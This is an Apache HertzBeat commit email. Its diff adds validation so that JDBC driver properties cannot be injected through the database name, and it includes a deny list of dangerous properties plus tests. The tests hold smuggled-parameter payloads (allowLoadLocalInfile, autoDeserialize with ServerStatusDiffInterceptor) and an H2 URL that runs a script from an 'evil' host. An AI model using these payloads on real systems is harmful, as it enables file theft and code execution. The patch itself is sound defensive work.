This is an automated email from the ASF dual-hosted git repository.
zqr10159 pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/hertzbeat.git
The following commit(s) were added to refs/heads/master by this push:
new 6897c8720b [fix] stop jdbc connection properties injected through the
database name (#4299)
6897c8720b is described below
commit 6897c8720b717cab33f9de874883e2f5b999c0ac
Author: Duansg <[email protected]>
AuthorDate: Mon Aug 3 09:52:51 2026 +0800
[fix] stop jdbc connection properties injected through the database name
(#4299)
---
.../hertzbeat/ai/tools/impl/DatabaseToolsImpl.java | 19 ++++-
.../collect/database/JdbcCommonCollect.java | 24 ++++--
.../collect/database/JdbcCommonCollectTest.java | 23 +++++
.../hertzbeat/common/util/JdbcUrlSafetyUtil.java | 99 ++++++++++++++++++++++
.../common/util/JdbcUrlSafetyUtilTest.java | 90 ++++++++++++++++++++
5 files changed, 243 insertions(+), 12 deletions(-)
diff --git
a/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
b/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
index 285731c0ab..fea163a507 100644
---
a/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
+++
b/hertzbeat-ai/src/main/java/org/apache/hertzbeat/ai/tools/impl/DatabaseToolsImpl.java
@@ -30,6 +30,9 @@ import org.apache.hertzbeat.ai.tools.DatabaseTools;
import org.apache.hertzbeat.common.entity.manager.Monitor;
import org.apache.hertzbeat.common.entity.manager.Param;
import org.apache.hertzbeat.common.util.AesUtil;
+import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.IpDomainUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
import org.apache.hertzbeat.manager.pojo.dto.MonitorDto;
import org.apache.hertzbeat.manager.service.MonitorService;
import org.springframework.ai.tool.annotation.Tool;
@@ -240,11 +243,21 @@ public class DatabaseToolsImpl implements DatabaseTools {
private String buildJdbcUrl(String platform, String host, String port,
String database) {
String effectivePort = (port == null || port.isEmpty()) ? "3306" :
port;
- String effectiveDb = (database == null || database.isEmpty()) ? "" :
database;
-
- return "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
+ // host, port and database come from monitor parameters and are
concatenated into the url,
+ // so they must not carry url syntax of their own
+ String effectiveDb =
JdbcUrlSafetyUtil.requireSafeDatabaseName(database);
+ if (!IpDomainUtil.validateIpDomain(host)) {
+ throw new IllegalArgumentException("Invalid database host: " +
host);
+ }
+ if (!CommonUtil.isNumeric(effectivePort)) {
+ throw new IllegalArgumentException("Invalid database port: " +
effectivePort);
+ }
+
+ String url = "jdbc:mysql://" + host + ":" + effectivePort + "/" +
effectiveDb
+ "?useUnicode=true&characterEncoding=utf-8&useSSL=false"
+ "&allowPublicKeyRetrieval=true&connectTimeout=5000";
+ JdbcUrlSafetyUtil.requireSafeJdbcUrl(url);
+ return url;
}
private String executeAndFormat(String url, String username, String
password,
diff --git
a/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
b/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
index 7be1a44ce9..e2aafac505 100644
---
a/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
+++
b/hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java
@@ -46,6 +46,7 @@ import org.apache.hertzbeat.common.entity.job.SshTunnel;
import org.apache.hertzbeat.common.entity.job.protocol.JdbcProtocol;
import org.apache.hertzbeat.common.entity.message.CollectRep;
import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
import org.apache.sshd.common.SshException;
import org.apache.sshd.common.channel.exception.SshChannelOpenException;
import org.postgresql.util.PSQLException;
@@ -605,28 +606,33 @@ public class JdbcCommonCollect extends AbstractCollect {
return url;
}
assert jdbcProtocol.getPlatform() != null;
- return switch (jdbcProtocol.getPlatform()) {
+ // the database name is concatenated into the url below, so it must
not carry url syntax
+ String database =
JdbcUrlSafetyUtil.requireSafeDatabaseName(jdbcProtocol.getDatabase());
+ String constructedUrl = switch (jdbcProtocol.getPlatform()) {
case "mysql", "mariadb" -> "jdbc:mysql://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase())
+ + "/" + database
+ "?useUnicode=true&characterEncoding=utf-8&useSSL=false";
case "xugu" -> "jdbc:xugu://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "postgresql" -> "jdbc:postgresql://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "clickhouse" -> "jdbc:clickhouse://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "sqlserver" -> "jdbc:sqlserver://" + host + ":" + port
- + ";" + (jdbcProtocol.getDatabase() == null ? "" :
"DatabaseName=" + jdbcProtocol.getDatabase())
+ + ";" + (database.isEmpty() ? "" : "DatabaseName=" +
database)
+ ";trustServerCertificate=true;";
case "oracle" -> "jdbc:oracle:thin:@" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "dm" -> "jdbc:dm://" + host + ":" + port;
case "db2" -> "jdbc:db2://" + host + ":" + port
- + "/" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase());
+ + "/" + database;
case "testcontainers" -> "jdbc:tc:" + host + ":" + port
- + ":///" + (jdbcProtocol.getDatabase() == null ? "" :
jdbcProtocol.getDatabase()) + "?user=root&password=root";
+ + ":///" + database + "?user=root&password=root";
default -> throw new IllegalArgumentException("Not support
database platform: " + jdbcProtocol.getPlatform());
};
+ // fail closed if any concatenated value still smuggled a driver
property through
+ JdbcUrlSafetyUtil.requireSafeJdbcUrl(constructedUrl);
+ return constructedUrl;
}
private static final class ResultSetJdbcQueryRowSet implements
JdbcQueryRowSet {
diff --git
a/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
b/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
index 3c10a31765..efede36cab 100644
---
a/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
+++
b/hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java
@@ -185,6 +185,29 @@ class JdbcCommonCollectTest {
assertEquals("Not support database platform: invalid",
exception.getMessage());
}
+ /**
+ * The url blacklist only guards a user supplied url. Driver properties
smuggled through the
+ * database name reach the very same connection, so they have to be
rejected too.
+ */
+ @Test
+ void testConstructDatabaseUrlRejectsDriverPropertiesInDatabaseName() {
+ String[] payloads = {
+ "test?allowLoadLocalInfile=true&z=",
+
"test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+ "test&useSSL=false",
+ };
+ for (String payload : payloads) {
+ JdbcProtocol jdbcProtocol = JdbcProtocol.builder()
+ .platform("mysql")
+ .database(payload)
+ .build();
+
+ assertThrows(IllegalArgumentException.class,
+ () -> constructDatabaseUrl(jdbcCommonCollect,
jdbcProtocol, "localhost", "3306"),
+ "database name should be rejected: " + payload);
+ }
+ }
+
@Test
void testCloseConnectionWhenCreateStatementFails() throws Exception {
String url = "jdbc:postgresql://localhost:5432/hertzbeat";
diff --git
a/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java
b/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java
new file mode 100644
index 0000000000..319381c5cb
--- /dev/null
+++
b/hertzbeat-common-core/src/main/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtil.java
@@ -0,0 +1,99 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import java.util.Locale;
+import java.util.regex.Pattern;
+
+/**
+ * Safety helpers for building JDBC connection urls from user supplied monitor
parameters.
+ *
+ * <p>Connection parameters such as the database name are concatenated into
the jdbc url. Without
+ * restriction a value like {@code db?allowLoadLocalInfile=true} injects
arbitrary driver properties,
+ * which a malicious database server turns into local file disclosure or
deserialization on the
+ * connecting jvm. The url blacklist only guards the url a user types in
directly, so every other
+ * value that reaches the url has to be constrained here.
+ */
+public final class JdbcUrlSafetyUtil {
+
+ /**
+ * Identifier characters accepted in a database or schema name.
Deliberately excludes the
+ * characters that carry meaning inside a jdbc url: {@code ? & = : / \ ; #
space}.
+ */
+ private static final Pattern DATABASE_NAME_PATTERN =
Pattern.compile("^[A-Za-z0-9_$][A-Za-z0-9_$.\\-]{0,63}$");
+
+ /**
+ * Driver properties that turn a connection into a client side attack.
Checked against the
+ * assembled url so a concatenation mistake anywhere still fails closed.
+ */
+ private static final String[] DANGEROUS_URL_PROPERTIES = {
+ // file IO - lets a malicious server read files from the
connecting host
+ "allowloadlocalinfile", "allowloadlocalinfileinpath",
"uselocalinfile",
+ // code execution and deserialization
+ "autodeserialize", "detectcustomcollations", "queryinterceptors",
"statementinterceptors",
+ "exceptioninterceptors", "javaobjectserializer",
"serverstatusdiffinterceptor",
+ "socketfactory", "init=", "runscript",
+ // multi statement execution
+ "allowmultiqueries",
+ // remote object lookup
+ "jndi:", "ldap:", "rmi:",
+ };
+
+ private JdbcUrlSafetyUtil() {
+ }
+
+ /**
+ * Validate a database or schema name that is about to be concatenated
into a jdbc url.
+ *
+ * @param database database name, may be null or empty
+ * @return the database name, or an empty string when nothing was supplied
+ * @throws IllegalArgumentException when the name contains jdbc url syntax
+ */
+ public static String requireSafeDatabaseName(String database) {
+ if (database == null || database.isEmpty()) {
+ return "";
+ }
+ if (!DATABASE_NAME_PATTERN.matcher(database).matches()) {
+ throw new IllegalArgumentException("Invalid database name: only
letters, digits, "
+ + "'_', '$', '.' and '-' are allowed, up to 64
characters");
+ }
+ return database;
+ }
+
+ /**
+ * Reject an assembled jdbc url that carries a driver property known to be
attacker useful.
+ *
+ * <p>Applies to urls this project builds itself. Urls typed in by a user
go through the wider
+ * platform aware checks in the collector before reaching here.
+ *
+ * @param url assembled jdbc url
+ * @throws IllegalArgumentException when a dangerous property is present
+ */
+ public static void requireSafeJdbcUrl(String url) {
+ if (url == null || url.isEmpty()) {
+ return;
+ }
+ String normalized =
url.toLowerCase(Locale.ROOT).replaceAll("[\\x00-\\x1F\\x7F]", "");
+ for (String property : DANGEROUS_URL_PROPERTIES) {
+ if (normalized.contains(property)) {
+ throw new IllegalArgumentException(
+ "Invalid JDBC URL: contains potentially malicious
parameter: " + property);
+ }
+ }
+ }
+}
diff --git
a/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java
b/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java
new file mode 100644
index 0000000000..72ef271334
--- /dev/null
+++
b/hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java
@@ -0,0 +1,90 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+
+/**
+ * Test case for {@link JdbcUrlSafetyUtil}
+ */
+class JdbcUrlSafetyUtilTest {
+
+ @Test
+ void testAcceptsOrdinaryDatabaseNames() {
+ assertEquals("hertzbeat",
JdbcUrlSafetyUtil.requireSafeDatabaseName("hertzbeat"));
+ assertEquals("my_db-1",
JdbcUrlSafetyUtil.requireSafeDatabaseName("my_db-1"));
+ assertEquals("orcl.example.com",
JdbcUrlSafetyUtil.requireSafeDatabaseName("orcl.example.com"));
+ assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(null));
+ assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(""));
+ }
+
+ @ValueSource(strings = {
+ // the payload that turns a monitor into local file disclosure on the
collector
+ "test?allowLoadLocalInfile=true&z=",
+
"test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+ // any character that carries jdbc url meaning has to be refused
+ "db&user=root",
+ "db=x",
+ "db/../other",
+ "db;DatabaseName=other",
+ "db:1234",
+ "db#fragment",
+ "db name",
+ "?leadingQuestion",
+ })
+ @ParameterizedTest
+ void testRejectsDatabaseNamesCarryingUrlSyntax(String database) {
+ assertThrows(IllegalArgumentException.class,
+ () -> JdbcUrlSafetyUtil.requireSafeDatabaseName(database));
+ }
+
+ @Test
+ void testRejectsDatabaseNameOverLength() {
+ assertThrows(IllegalArgumentException.class,
+ () ->
JdbcUrlSafetyUtil.requireSafeDatabaseName("a".repeat(65)));
+ }
+
+ @Test
+ void testAcceptsUrlsThisProjectBuilds() {
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+
"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8&useSSL=false"));
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+
"jdbc:sqlserver://localhost:1433;DatabaseName=test;trustServerCertificate=true;"));
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+ "jdbc:oracle:thin:@localhost:1521/orcl"));
+ assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(null));
+ }
+
+ @ValueSource(strings = {
+ "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true",
+ "jdbc:mysql://localhost:3306/test?autoDeserialize=true",
+ "jdbc:mysql://localhost:3306/test?queryInterceptors=x",
+ "jdbc:mysql://localhost:3306/test?allowMultiQueries=true",
+ "jdbc:postgresql://localhost:5432/test?socketFactory=x",
+ "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://evil/x.sql'",
+ })
+ @ParameterizedTest
+ void testRejectsUrlsCarryingDangerousDriverProperties(String url) {
+ assertThrows(IllegalArgumentException.class, () ->
JdbcUrlSafetyUtil.requireSafeJdbcUrl(url));
+ }
+}
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
